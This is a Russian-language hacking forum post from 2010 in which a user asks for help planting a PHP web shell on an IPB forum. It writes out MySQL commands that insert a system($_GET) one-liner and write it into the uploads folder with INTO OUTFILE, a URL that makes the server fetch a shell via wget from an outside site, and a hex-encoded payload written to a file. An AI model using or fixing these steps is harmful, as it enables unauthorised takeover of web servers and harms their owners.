Показать сообщение отдельно

  #310  
Старый 26.04.2010, 04:11
Linkus
Участник форума
Регистрация: 20.12.2008
Сообщений: 130
Провел на форуме:
436500

Репутация: 11
По умолчанию

Пытаюсь залить шелл на форум ипб (впервые), вот возникло пару вопросов, знающие люди пожалуйста помогите

Заливаю через мускуль

CREATE TABLE `ibf_shell` (`shl` TEXT NOT NULL) TYPE = MYISAM ; - прошло успешно
INSERT INTO `ibf_shell` ( `shl` ) VALUES (`<?system($_GET[‘c’]) ?>`); - тут жопа, команда не выполняется. Пишет Unknown column '' in 'field list'. (ругается на system($_GET)). Тобишь мне в колонке shl надо создать такую команду. Уверен на 80% что синтаксис неправильный.
SELECT `shl` FROM `ibf_shell` INTO OUTFILE `/www/forum/uploads/shell.php` - не дошел
DROP TABLE `ibf_shell` - прошло успешно

В общем загвоздка со второй строкой, как я уже писал - синтаксис неправильный. Уже и так и сяк пробовал, не выходит.

Потом сразу же вопрос, после выполнения этих мускуль комманд (удачно), мне прийдется дать cmd команды на сервер как я понимаю. Это делается посредством браузерной строки? Где можно просмотреть все возможные команды?

Читал что нужно выполнить запрос в строке браузера типа _http://www.xxx.com?c=wget -O shell.php _http://vasiliy.narod.ru/shell.php.

Заливаю через мускуль ибо другие способы не пашут... Смайлы, аттачи и пхтмл перепробовал.

Заранее спасибо!!

UPD

select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php'

Access denied for user 'site.ru'@'localhost' (using password: YES)

Нехватает прав?

Последний раз редактировалось Linkus; 26.04.2010 в 11:43..
 
Ответить с цитированием